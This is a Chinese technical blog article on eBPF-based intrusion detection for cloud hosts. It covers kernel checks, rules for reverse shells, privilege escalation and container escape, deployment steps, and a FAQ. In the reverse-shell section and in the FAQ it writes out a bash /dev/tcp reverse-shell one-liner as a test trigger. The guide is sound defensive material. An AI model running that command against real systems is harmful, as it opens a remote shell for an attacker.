eBPF 云主机入侵检测实战：原理与落地

核心要点（TL;DR）

eBPF 通过内核挂载点采集系统调用与网络事件，绕过用户态轮询，开销远低于传统 HIDS。
反连 Shell、异常提权、敏感文件写入是云主机入侵检测优先级最高的三类行为。
部署前必须确认内核版本不低于 4.9，并开启 BTF 与必要的 tracepoint 支持。
检测规则要落到进程树与容器命名空间维度，否则容器场景误报率会显著升高。

很多运维同学在云主机被入侵后才发现问题：日志里没有异常登录，进程列表也干净，但机器已经在对外发起连接。传统基于日志和定时扫描的主机防护存在明显盲区，而 eBPF 云主机入侵检测 把观测点下沉到内核，能在行为发生的一瞬间捕获系统调用与网络事件。本文面向要动手落地的运维和站长，给出可执行的部署步骤与检查清单。

eBPF 为什么适合做入侵检测

eBPF 允许把沙箱程序挂载到内核的 tracepoint、kprobe、cgroup 等挂载点，事件触发时在内核态完成过滤与聚合，只把有价值的数据送到用户态。相比轮询 /proc 或解析 audit 日志，它有三个直接好处：

低开销：过滤逻辑前置到内核，避免海量事件穿越边界。
难绕过：挂载点在系统调用层，用户态 rootkit 篡改文件或隐藏进程无法影响采集。
上下文完整：事件天然携带 pid、ppid、cgroup、命名空间信息，便于关联进程树。

代价是它对内核版本有要求，且规则设计不当会带来性能抖动，这也是后文检查清单的重点。

部署前的环境核查清单

先确认基础条件，避免装到一半才发现不兼容：

uname -r
ls /sys/kernel/btf/vmlinux
mount | grep bpf
cat /proc/sys/kernel/unprivileged_bpf_disabled

内核建议 5.4 及以上 LTS，最低不低于 4.9。
/sys/kernel/btf/vmlinux 存在说明 BTF 可用，CO-RE 程序无需为每台机器单独编译。
确认 bpffs 已挂载，否则 map 无法固定。
云厂商的托管内核可能裁剪了部分 tracepoint，先在测试机验证再批量推。

三类高价值检测点与实现思路

1. 反连 Shell 与异常外联

挂载 tracepoint:syscalls:sys_enter_connect，提取目标地址与端口，结合进程的父进程链判断是否为交互式 shell 发起。经验规则：shell 进程直接发起外连、目标端口为常见反弹端口、目标非常规业务网段，三者命中即告警。验证命令：

bash -i >& /dev/tcp/203.0.113.10/4444 0>&1

2. 异常提权与凭据读取

监控 setuid/setgid 调用与 /etc/shadow、~/.ssh/ 的打开行为。重点不是单次事件，而是「非白名单进程 + 敏感路径 + 短时间高频」的组合，单点规则误报会很高。

3. 容器逃逸特征

容器内进程调用 mount、unshare、setns，或访问宿主机 /proc/1/root，都是高风险信号。实现时把事件与 cgroup id、mount namespace 关联，只有「容器内发起」才计入，可显著压低误报。

检测点	挂载位置	误报控制手段
反连 Shell	sys_enter_connect	进程树 + 端口白名单
异常提权	sys_enter_setuid	可执行文件哈希白名单
容器逃逸	sys_enter_mount/setns	cgroup 与命名空间过滤

最小可用部署步骤

以开源工具链为例，快速搭一套可观测原型：

安装内核头文件与 clang/llvm 工具链，保证与运行内核版本一致。
选择采集框架（如 libbpf + CO-RE 或 BCC），先跑通官方示例确认挂载成功。
编写或启用规则，只挂载上表中的关键 tracepoint，避免全量 syscall 采集。
用户态用 ring buffer 接收事件，做进程树补全与去重。
接入告警通道，设置速率限制，防止攻击者用高频事件打爆告警。

bpftool prog list
bpftool map list
cat /sys/kernel/debug/tracing/trace_pipe

用上述命令确认程序与 map 已加载、事件能正常输出，再进入规则调优阶段。

上线后的巡检与调优清单

每周对比 CPU 基线，单核占用持续上升需检查事件量。
统计每条规则的告警量与误报率，误报超过三成的规则必须重构。
建立模拟攻击回归用例，规则变更后自动执行。
确认采集进程本身受保护，防止被入侵者优先杀掉。
保留原始事件一段时间，便于事后溯源。

如果不想从零维护规则与采集链路，可以评估具备内核级行为监控能力的一体化方案，例如 AegisX 在运行时安全侧提供的异常进程与外联检测能力，能缩短从部署到产生有效告警的周期。

行动建议

先在单台测试机完成内核核查与最小规则集验证，确认开销与误报可接受后再灰度到生产。把「反连 Shell、异常提权、容器逃逸」三类规则作为第一优先级，其余检测点按业务风险逐步补充。入侵检测的价值不在于规则数量，而在于每条规则都能被验证、被解释、被收敛。

常见问题（FAQ）

eBPF 入侵检测和传统 HIDS 有什么区别？

eBPF 在内核态挂载探针，直接采集系统调用、网络连接和文件事件，不需要用户态轮询 /proc，因此开销更低、事件更完整且难以被 rootkit 绕过。传统 HIDS 多依赖定时扫描与日志解析，存在延迟和盲区。两者可以叠加使用，但实时行为检测应优先选 eBPF 方案。

我的云主机内核版本较低，还能用 eBPF 吗？

内核低于 4.9 基本不可用，4.9 到 4.14 之间功能受限，部分 map 类型和 BTF 不可用。建议升级到 5.4 及以上 LTS 内核，并确认 /sys/kernel/btf/vmlinux 存在。若无法升级，可退化为 kprobe 模式，但需自行承担兼容性调试成本。

eBPF 检测会不会影响业务性能？

正常规则下 CPU 开销通常在个位数百分比，远低于全量审计。风险主要来自事件量过大，例如对每个 read/write 都挂探针。实践上应只挂载关键 tracepoint，配合 ring buffer 采样与用户态聚合，并在上线前用压测对比基线。

容器逃逸在 eBPF 视角下有哪些特征？

典型特征是容器内进程调用 mount、unshare、setns 等命名空间相关系统调用，或访问宿主机 /proc、/sys 路径，以及出现非预期的 ptrace 行为。把这些调用与进程所属 cgroup、命名空间关联，能有效区分正常运维与逃逸尝试。

如何验证检测规则真的生效？

用受控环境模拟攻击行为，例如执行 bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 触发反连，观察是否产生告警；再用正常业务流量跑一轮，统计误报。建议建立回归用例集，每次规则变更后自动跑一遍。

资讯中心